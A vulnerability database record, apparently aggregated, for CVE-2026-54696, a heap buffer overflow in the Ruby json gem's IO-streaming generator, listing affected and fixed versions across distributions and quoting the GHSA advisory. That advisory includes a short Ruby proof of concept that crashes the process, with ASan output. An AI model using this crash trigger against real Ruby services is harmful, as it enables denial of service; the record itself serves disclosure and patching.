{"id":"CVE-2026-54696","aliases":["DEBIAN-CVE-2026-54696","EUVD-2026-40626","GHSA-x2f5-4prf-w687","RHSA-2026:47932","RHSA-2026:48482","UBUNTU-CVE-2026-54696"],"status":"published","title":"Ruby JSON: JSON generator heap buffer overflow when streaming to an IO","description":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","severity":{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00412,"percentile":0.35746,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-122","CWE-131","CWE-787"],"published":"2026-06-30T22:05:48Z","modified":"2026-11-04T02:47:42Z","fixes":[{"ecosystem":"RubyGems","package":"json","fixed_in":["2.19.9"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"ruby-json","fixed_in":["2.19.9+dfsg-1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0","fixed_in":["0:4.0.6-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-bundled-gems","fixed_in":["0:4.0.6-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-default-gems","fixed_in":["0:4.0.6-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-devel","fixed_in":["0:4.0.6-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-doc","fixed_in":["0:4.0.6-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-libs","fixed_in":["0:4.0.6-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-bigdecimal","fixed_in":["0:4.0.1-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-bundler","fixed_in":["0:4.0.16-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-devel","fixed_in":["0:4.0.16-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-io-console","fixed_in":["0:0.8.2-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-irb","fixed_in":["0:1.16.0-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-json","fixed_in":["0:2.18.0-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-minitest","fixed_in":["0:6.0.0-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-power_assert","fixed_in":["0:3.0.1-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-psych","fixed_in":["0:5.3.1-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-racc","fixed_in":["0:1.8.1-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rake","fixed_in":["0:13.3.1-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rbs","fixed_in":["0:3.10.0-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rdoc","fixed_in":["0:7.0.4-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rexml","fixed_in":["0:3.4.4-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rss","fixed_in":["0:0.3.2-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rubygems","fixed_in":["0:4.0.16-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-test-unit","fixed_in":["0:3.7.5-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-typeprof","fixed_in":["0:0.31.1-37.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4","fixed_in":["0:3.4.10-31.5.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-bundled-gems","fixed_in":["0:3.4.10-31.5.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-default-gems","fixed_in":["0:3.4.10-31.5.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-devel","fixed_in":["0:3.4.10-31.5.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-doc","fixed_in":["0:3.4.10-31.5.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-libs","fixed_in":["0:3.4.10-31.5.hum1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.0"},{"fixed":"2.19.9"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.15.2+dfsg-1","2.18.1+dfsg-1","2.19.1+dfsg-1","2.19.2+dfsg-1","2.19.4+dfsg-1","2.19.9+dfsg-1","2.21.1+dfsg-1","2.21.2+dfsg-1","2.9.1+dfsg-1","3.0.2+dfsg-1","3.1.0+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.19.9+dfsg-1"}]}],"versions":["2.15.2+dfsg-1","2.18.1+dfsg-1","2.19.1+dfsg-1","2.19.2+dfsg-1","2.19.4+dfsg-1","2.9.1+dfsg-1"]},{"source":"osv","ecosystem":"RubyGems","package":"json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.0"},{"fixed":"2.19.9"}]}],"versions":["2.10.0","2.10.1","2.10.2","2.11.0","2.11.1","2.11.2","2.11.3","2.12.0","2.12.1","2.12.2","2.13.0","2.13.1","2.13.2","2.14.0","2.14.1","2.15.0","2.15.1","2.15.2","2.15.2.1","2.16.0","2.17.0","2.17.1","2.17.1.2","2.18.0","2.18.1","2.19.0","2.19.1","2.19.2","2.19.3","2.19.4","2.19.5","2.19.6","2.19.7","2.19.8","2.9.0","2.9.1"]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.6-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-bundled-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.6-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-default-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.6-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.6-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.6-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby4.0-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.6-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-bigdecimal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.1-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-bundler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.16-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.16-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-io-console","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.8.2-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-irb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.16.0-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.0-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-minitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.0-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-power_assert","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.1-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-psych","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.3.1-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-racc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.8.1-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rake","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.3.1-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rbs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.10.0-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rdoc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.0.4-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rexml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.4-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.3.2-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-rubygems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.16-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-test-unit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.7.5-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rubygem4.0-typeprof","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.31.1-37.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-31.5.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-bundled-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-31.5.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-default-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-31.5.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-31.5.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-31.5.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"ruby3.4-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-31.5.hum1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.6-5ubuntu1","1.5.6-6","1.5.6-7","1.5.6-9+deb8u2build0.14.04.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:14.04:LTS","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.0-1","1.8.0-1build1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"ruby2.3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.0-1","2.3.0-2","2.3.0-4ubuntu2","2.3.0-4ubuntu3","2.3.0-5ubuntu1","2.3.1-2~16.04","2.3.1-2~16.04.2","2.3.1-2~16.04.4","2.3.1-2~16.04.5","2.3.1-2~16.04.6","2.3.1-2~16.04.7","2.3.1-2~16.04.9","2.3.1-2~16.04.10","2.3.1-2~16.04.11","2.3.1-2~16.04.12","2.3.1-2~ubuntu16.04.13","2.3.1-2~ubuntu16.04.14","2.3.1-2~ubuntu16.04.15","2.3.1-2~ubuntu16.04.16","2.3.1-2~ubuntu16.04.16+esm1","2.3.1-2~ubuntu16.04.16+esm2","2.3.1-2~ubuntu16.04.16+esm3","2.3.1-2~ubuntu16.04.16+esm4","2.3.1-2~ubuntu16.04.16+esm5","2.3.1-2~ubuntu16.04.16+esm6","2.3.1-2~ubuntu16.04.16+esm7","2.3.1-2~ubuntu16.04.16+esm8","2.3.1-2~ubuntu16.04.16+esm9","2.3.1-2~ubuntu16.04.16+esm10","2.3.1-2~ubuntu16.04.16+esm11","2.3.1-2~ubuntu16.04.16+esm12","2.3.1-2~ubuntu16.04.16+esm14","2.3.1-2~ubuntu16.04.16+esm15"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.21-2ubuntu4","1.7.22-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.3-1build1","1.8.3-1build2","1.8.3-1build4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"ruby2.5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0~preview1-1ubuntu2","2.5.0-4ubuntu1","2.5.0-4ubuntu4","2.5.0-5ubuntu1","2.5.0-6ubuntu1","2.5.1-1ubuntu1","2.5.1-1ubuntu1.1","2.5.1-1ubuntu1.2","2.5.1-1ubuntu1.4","2.5.1-1ubuntu1.5","2.5.1-1ubuntu1.6","2.5.1-1ubuntu1.7","2.5.1-1ubuntu1.8","2.5.1-1ubuntu1.9","2.5.1-1ubuntu1.10","2.5.1-1ubuntu1.11","2.5.1-1ubuntu1.12","2.5.1-1ubuntu1.13","2.5.1-1ubuntu1.14","2.5.1-1ubuntu1.15","2.5.1-1ubuntu1.16","2.5.1-1ubuntu1.16+esm1","2.5.1-1ubuntu1.16+esm3","2.5.1-1ubuntu1.16+esm4","2.5.1-1ubuntu1.16+esm5","2.5.1-1ubuntu1.16+esm6","2.5.1-1ubuntu1.16+esm7","2.5.1-1ubuntu1.16+esm8"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.1.13.0-1","9.1.17.0-1~18.04"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.1.0+dfsg-1","2.1.0+dfsg-1ubuntu2","2.1.0+dfsg-1ubuntu3","2.1.0+dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"ruby2.7","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7.0-1","2.7.0-2","2.7.0-3","2.7.0-4","2.7.0-4ubuntu1","2.7.0-5ubuntu1","2.7.0-5ubuntu1.1","2.7.0-5ubuntu1.2","2.7.0-5ubuntu1.3","2.7.0-5ubuntu1.4","2.7.0-5ubuntu1.5","2.7.0-5ubuntu1.6","2.7.0-5ubuntu1.7","2.7.0-5ubuntu1.8","2.7.0-5ubuntu1.9","2.7.0-5ubuntu1.10","2.7.0-5ubuntu1.11","2.7.0-5ubuntu1.12","2.7.0-5ubuntu1.13","2.7.0-5ubuntu1.14","2.7.0-5ubuntu1.15","2.7.0-5ubuntu1.16","2.7.0-5ubuntu1.17","2.7.0-5ubuntu1.18","2.7.0-5ubuntu1.18+esm1","2.7.0-5ubuntu1.18+esm3","2.7.0-5ubuntu1.18+esm4","2.7.0-5ubuntu1.18+esm5"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.1.17.0-3","9.1.17.0-3build5","9.1.17.0-3build6"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.1.0+dfsg-2","2.3.0+dfsg-1","2.3.0+dfsg-1build1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.0+dfsg-1build1","2.5.1+dfsg-2","2.5.1+dfsg-2build1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby3.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.2-5ubuntu1","3.0.2-7","3.0.2-7ubuntu2","3.0.2-7ubuntu2.1","3.0.2-7ubuntu2.2","3.0.2-7ubuntu2.3","3.0.2-7ubuntu2.4","3.0.2-7ubuntu2.5","3.0.2-7ubuntu2.6","3.0.2-7ubuntu2.7","3.0.2-7ubuntu2.8","3.0.2-7ubuntu2.10","3.0.2-7ubuntu2.11","3.0.2-7ubuntu2.12","3.0.2-7ubuntu2.13"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.3.9.0+ds-1","9.4.5.0+ds-1","9.4.5.0+ds-1ubuntu1","9.4.6.0+ds-1ubuntu3"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.6.3+dfsg-1build2","2.6.3+dfsg-1build3","2.6.3+dfsg-1build4"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby3.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.3-1","3.2.3-1build2","3.2.3-1build3","3.2.3-1ubuntu0.24.04.1","3.2.3-1ubuntu0.24.04.3","3.2.3-1ubuntu0.24.04.5","3.2.3-1ubuntu0.24.04.6","3.2.3-1ubuntu0.24.04.7","3.2.3-1ubuntu0.24.04.8"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.8.0+ds-2ubuntu1","9.4.8.0+ds-3ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"ruby3.3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.7-1ubuntu2","3.3.8-2ubuntu1","3.3.8-2ubuntu2","3.3.8-2ubuntu2.1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.8.0+ds-3ubuntu1","9.4.14.0+ds-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.18.1+dfsg-1","2.21.1+dfsg-1","2.21.2+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby3.3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.8-2ubuntu3","3.3.8-2.2ubuntu4"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.8.0+ds-3ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.1+dfsg-1","2.15.2+dfsg-1","2.18.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby3.3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.8-2ubuntu2","3.3.8-2ubuntu3","3.3.8-2ubuntu3.1"]}],"products":[{"vendor":"ruby","product":"json"}],"references":[{"url":"https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/ruby/json/releases/tag/v2.19.9","tags":["x_refsource_MISC","web","article","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54696","tags":["advisory"]},{"url":"https://github.com/ruby/json/commit/996bac686d64e4e3aaeae03b14a7f9ee9695ebdb","tags":["web"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-54696.yml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-x2f5-4prf-w687"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54696.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54696","tags":["advisory"]},{"url":"https://github.com/ruby/json","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:47932","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54696","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_47932.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2495409","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54696","tags":["advisory","report"]},{"url":"https://access.redhat.com/errata/RHSA-2026:48482","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48482.json","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-54696","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-54696","title":"Ruby JSON: JSON generator heap buffer overflow when streaming to an IO","description":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","status":"published","published":"2026-06-30T22:05:48.347Z","modified":"2026-07-01T13:20:56.931Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"cna"}],"cwes":["CWE-122","CWE-131","CWE-787"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-40626","description":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","status":"published","published":"2026-06-30T22:05:48Z","modified":"2026-07-01T13:20:56Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T18:20:20.297775Z"}],"ghsa":[{"id":"GHSA-x2f5-4prf-w687","title":"Ruby json: JSON generator heap buffer overflow when streaming to an IO","description":"### Summary\n\n`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the\ninternal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. The issue is a heap out-of-bounds write\nin the IO-streaming path and is demonstrated as a reliable process crash /\ndenial of service.\n\nThis was triaged on HackerOne as report #3785370. The issue was confirmed there\nand I was asked to open it here.\n\n### Details\n\nRoot cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.\n\nOn the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the\nearly return checks total capacity instead of remaining capacity:\n\n```c\nif (RB_UNLIKELY(fb-\u003eio)) {\n    if (fb-\u003ecapa \u003c FBUFFER_IO_BUFFER_SIZE) {\n        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);\n    } else {\n        fbuffer_flush(fb);\n    }\n\n    if (RB_LIKELY(requested \u003c fb-\u003ecapa)) {\n        return;\n    }\n}\n```\n\nIf `fb-\u003elen` already contains JSON syntax bytes, and a string flush has\n`16383 - fb-\u003elen \u003c= requested \u003c 16383`, this check returns even though there is\nnot enough space left. `fbuffer_append_reserved()` then writes past the buffer:\n\n```c\nMEMCPY(fb-\u003eptr + fb-\u003elen, newstr, char, len);\n```\n\nThe minimal fix is to compare against the remaining capacity:\n\n```diff\n-        if (RB_LIKELY(requested \u003c fb-\u003ecapa)) {\n+        if (RB_LIKELY(requested \u003c= fb-\u003ecapa - fb-\u003elen)) {\n             return;\n         }\n```\n\n### PoC\n\n```ruby\nrequire \"json\"\nrequire \"stringio\"\n\nio = StringIO.new\nbig = \"a\" * 16385\nbig[16382] = '\"'          # escapable byte near the buffer boundary\n\nJSON.dump([big], io)\n```\n\nVerified results:\n\n```text\nRuby 4.0.5 / bundled json 2.18.0:\nmalloc(): invalid size (unsorted)\n.../json/common.rb:956: [BUG] Aborted\n\nruby/ruby master c78418b7a0 / json 2.19.8 / ASan:\nheap-buffer-overflow WRITE of size 16382\n  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145\n  search_flush             ext/json/generator/generator.c:139\n  convert_UTF8_to_JSON     ext/json/generator/generator.c:231\n  raw_generate_json_string ext/json/generator/generator.c:922\n  cState_m_generate        ext/json/generator/generator.c:1891\n```\n\nControl: the same data through `JSON.dump([big])` without an IO argument returns\nnormally. The bug is specific to the IO-streaming path.\n\n### Impact\n\nA remote attacker can trigger a heap out-of-bounds write if they control a\nstring field that an application serializes through `JSON.dump(obj, io)` or\n`JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of\nservice. I am not claiming code execution or information disclosure.","status":"published","published":"2026-07-23T19:48:08Z","modified":"2026-07-23T19:48:08Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-122","CWE-131","CWE-787"],"updated_at":"2026-11-02T14:40:52.46233Z"}],"nvd":[{"id":"CVE-2026-54696","description":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 